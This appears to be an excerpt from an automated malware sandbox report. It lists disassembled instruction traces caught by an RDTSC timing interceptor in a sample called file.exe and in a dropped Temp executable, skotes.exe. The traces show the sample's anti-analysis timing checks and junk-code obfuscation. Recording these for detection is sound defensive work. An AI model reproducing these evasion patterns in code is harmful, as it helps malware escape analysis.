Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4093F second address: 4C409A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0F34BEC14Fh 0x00000008 pop eax 0x00000009 movsx edx, cx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007F0FA6ED1B7Ch 0x00000015 pushad 0x00000016 call 00007F0F34BEC14Eh 0x0000001b pushfd 0x0000001c jmp 00007F0F34BEC152h 0x00000021 and ax, 9788h 0x00000026 jmp 00007F0F34BEC14Bh 0x0000002b popfd 0x0000002c pop esi 0x0000002d pushad 0x0000002e mov cx, bx 0x00000031 mov cx, bx 0x00000034 popad 0x00000035 popad 0x00000036 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C409A8 second address: 4C409AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C409AC second address: 4C409B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C409B2 second address: 4C40A4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 8732h 0x00000007 call 00007F0F345319F3h 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ecx, esi 0x00000012 jmp 00007F0F345319EFh 0x00000017 je 00007F0FA68173A8h 0x0000001d jmp 00007F0F345319F6h 0x00000022 test byte ptr [76FB6968h], 00000002h 0x00000029 jmp 00007F0F345319F0h 0x0000002e jne 00007F0FA6817388h 0x00000034 pushad 0x00000035 movzx esi, bx 0x00000038 jmp 00007F0F345319F3h 0x0000003d popad 0x0000003e mov edx, dword ptr [ebp+0Ch] 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F0F345319F5h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40A4C second address: 4C40A68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC151h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40A68 second address: 4C40A6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40A6C second address: 4C40A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40A72 second address: 4C40A99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0F345319EEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40A99 second address: 4C40AE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC14Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov edi, esi 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 popad 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F0F34BEC155h 0x0000001c and ch, FFFFFFF6h 0x0000001f jmp 00007F0F34BEC151h 0x00000024 popfd 0x00000025 movzx esi, di 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40AE4 second address: 4C40AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40AEA second address: 4C40AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40BB4 second address: 4C40BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dx, ax 0x00000008 popad 0x00000009 pop esi 0x0000000a pushad 0x0000000b mov eax, 442C390Dh 0x00000010 mov edi, esi 0x00000012 popad 0x00000013 pop ebx 0x00000014 pushad 0x00000015 pushad 0x00000016 mov edx, eax 0x00000018 mov cl, 92h 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40BD2 second address: 4C40C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F0F34BEC155h 0x0000000a xor esi, 73F32346h 0x00000010 jmp 00007F0F34BEC151h 0x00000015 popfd 0x00000016 popad 0x00000017 popad 0x00000018 mov esp, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40C0E second address: 4C40C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40C12 second address: 4C40C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40C16 second address: 4C40C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50B14 second address: 4C50B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50B18 second address: 4C50B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0111 second address: 4CD0116 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0116 second address: 4CD015B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F0F345319F7h 0x0000000a or ax, 86DEh 0x0000000f jmp 00007F0F345319F9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD015B second address: 4CD015F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD015F second address: 4CD0172 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0172 second address: 4CD01F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC159h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F0F34BEC151h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov al, 05h 0x00000013 pushfd 0x00000014 jmp 00007F0F34BEC159h 0x00000019 xor si, E286h 0x0000001e jmp 00007F0F34BEC151h 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F0F34BEC14Ch 0x0000002e sub ch, 00000028h 0x00000031 jmp 00007F0F34BEC14Bh 0x00000036 popfd 0x00000037 push ecx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0493 second address: 4CC0497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0497 second address: 4CC049D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC049D second address: 4CC04BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0F345319F8h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04BB second address: 4CC04D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0F34BEC153h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04D8 second address: 4CC04FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov si, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007F0F345319EDh 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04FB second address: 4CC050E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC14Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC050E second address: 4CC053B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0F345319EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E07 second address: 4C50E1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0F34BEC151h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E1E second address: 4C50E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0F345319F3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E3B second address: 4C50E53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F34BEC154h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E53 second address: 4C50E89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edx, esi 0x0000000e pushfd 0x0000000f jmp 00007F0F345319F4h 0x00000014 xor esi, 1FFE0638h 0x0000001a jmp 00007F0F345319EBh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06D9 second address: 4CC06E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06E7 second address: 4CC06ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06ED second address: 4CC06F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06F3 second address: 4CC06F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06F7 second address: 4CC0747 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movsx edx, si 0x0000000d pushfd 0x0000000e jmp 00007F0F34BEC158h 0x00000013 or ax, 8398h 0x00000018 jmp 00007F0F34BEC14Bh 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F0F34BEC155h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0747 second address: 4CC0757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F345319ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0757 second address: 4CC075B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC075B second address: 4CC07B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F0F345319F7h 0x0000000f push dword ptr [ebp+0Ch] 0x00000012 jmp 00007F0F345319F6h 0x00000017 push dword ptr [ebp+08h] 0x0000001a jmp 00007F0F345319F0h 0x0000001f push 11D35709h 0x00000024 pushad 0x00000025 mov dx, A732h 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07B5 second address: 4CC07DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 xor dword ptr [esp], 11D2570Bh 0x0000000d pushad 0x0000000e call 00007F0F34BEC151h 0x00000013 mov edx, esi 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 mov eax, ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70306 second address: 4C7030C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7030C second address: 4C70310 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70310 second address: 4C7033A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F0F345319F9h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7033A second address: 4C7033E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7033E second address: 4C70342 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70342 second address: 4C70348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70348 second address: 4C703A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b pushad 0x0000000c mov edx, eax 0x0000000e mov di, cx 0x00000011 popad 0x00000012 push 1C9B99C9h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov al, F9h 0x0000001c pushfd 0x0000001d jmp 00007F0F345319F3h 0x00000022 add ax, B60Eh 0x00000027 jmp 00007F0F345319F9h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C703A5 second address: 4C7040C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC151h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 5A5E264Fh 0x00000010 pushad 0x00000011 movzx esi, di 0x00000014 movsx edx, si 0x00000017 popad 0x00000018 push 4A791C1Bh 0x0000001d pushad 0x0000001e push ebx 0x0000001f mov dx, cx 0x00000022 pop ecx 0x00000023 mov bx, 7BDAh 0x00000027 popad 0x00000028 xor dword ptr [esp], 3C89B21Bh 0x0000002f jmp 00007F0F34BEC151h 0x00000034 mov eax, dword ptr fs:[00000000h] 0x0000003a jmp 00007F0F34BEC14Eh 0x0000003f nop 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7040C second address: 4C70410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70410 second address: 4C70416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70416 second address: 4C70425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F345319EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70425 second address: 4C70470 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F0F34BEC152h 0x00000010 sbb ah, FFFFFFD8h 0x00000013 jmp 00007F0F34BEC14Bh 0x00000018 popfd 0x00000019 jmp 00007F0F34BEC158h 0x0000001e popad 0x0000001f nop 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70470 second address: 4C70474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70474 second address: 4C704F6 instructions: 0x00000000 rdtsc 0x00000002 mov bx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F0F34BEC156h 0x0000000d sbb ecx, 49A2C398h 0x00000013 jmp 00007F0F34BEC14Bh 0x00000018 popfd 0x00000019 popad 0x0000001a sub esp, 1Ch 0x0000001d pushad 0x0000001e movzx ecx, dx 0x00000021 mov cx, di 0x00000024 popad 0x00000025 push esp 0x00000026 jmp 00007F0F34BEC158h 0x0000002b mov dword ptr [esp], ebx 0x0000002e jmp 00007F0F34BEC150h 0x00000033 xchg eax, esi 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F0F34BEC157h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704F6 second address: 4C70515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 jmp 00007F0F345319EBh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movzx esi, dx 0x00000015 movsx edx, cx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70515 second address: 4C7051B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7051B second address: 4C70544 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0F345319F5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70685 second address: 4C70737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC151h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F0F34BEC157h 0x00000011 xor ah, FFFFFF9Eh 0x00000014 jmp 00007F0F34BEC159h 0x00000019 popfd 0x0000001a pushad 0x0000001b mov eax, 273B2DBDh 0x00000020 pushfd 0x00000021 jmp 00007F0F34BEC14Ah 0x00000026 and si, E998h 0x0000002b jmp 00007F0F34BEC14Bh 0x00000030 popfd 0x00000031 popad 0x00000032 popad 0x00000033 nop 0x00000034 pushad 0x00000035 call 00007F0F34BEC154h 0x0000003a pop edx 0x0000003b jmp 00007F0F34BEC14Eh 0x00000040 popad 0x00000041 lea eax, dword ptr [ebp-10h] 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F0F34BEC157h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70737 second address: 4C7073D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7073D second address: 4C70757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0F34BEC14Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70757 second address: 4C70769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F345319EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70769 second address: 4C70783 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC14Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70783 second address: 4C70787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70787 second address: 4C7078D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7078D second address: 4C707CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edi, cx 0x00000012 pushfd 0x00000013 jmp 00007F0F345319F6h 0x00000018 adc si, 54A8h 0x0000001d jmp 00007F0F345319EBh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C707CD second address: 4C7086F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 mov eax, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d jmp 00007F0F34BEC14Dh 0x00000012 jne 00007F0FA6E3B683h 0x00000018 jmp 00007F0F34BEC14Eh 0x0000001d sub eax, eax 0x0000001f pushad 0x00000020 mov di, CD02h 0x00000024 jmp 00007F0F34BEC153h 0x00000029 popad 0x0000002a mov dword ptr [ebp-20h], eax 0x0000002d pushad 0x0000002e pushad 0x0000002f movzx esi, bx 0x00000032 pushfd 0x00000033 jmp 00007F0F34BEC153h 0x00000038 add eax, 63B1E55Eh 0x0000003e jmp 00007F0F34BEC159h 0x00000043 popfd 0x00000044 popad 0x00000045 popad 0x00000046 mov ebx, dword ptr [esi] 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b jmp 00007F0F34BEC153h 0x00000050 mov ch, 76h 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7086F second address: 4C708B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-24h], ebx 0x0000000c pushad 0x0000000d mov edi, ecx 0x0000000f call 00007F0F345319EAh 0x00000014 mov ah, 2Dh 0x00000016 pop edi 0x00000017 popad 0x00000018 test ebx, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F0F345319F9h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C708B6 second address: 4C708BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C708BC second address: 4C708C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E17 second address: 4C60E60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC159h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F0F34BEC150h 0x0000000e mov cx, 26A1h 0x00000012 pop ecx 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0F34BEC153h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E60 second address: 4C60EBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0F345319EFh 0x00000009 add eax, 31CB37FEh 0x0000000f jmp 00007F0F345319F9h 0x00000014 popfd 0x00000015 mov esi, 2513D447h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f jmp 00007F0F345319F8h 0x00000024 pushad 0x00000025 mov eax, 51810227h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: B0F8C1 second address: B0F8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
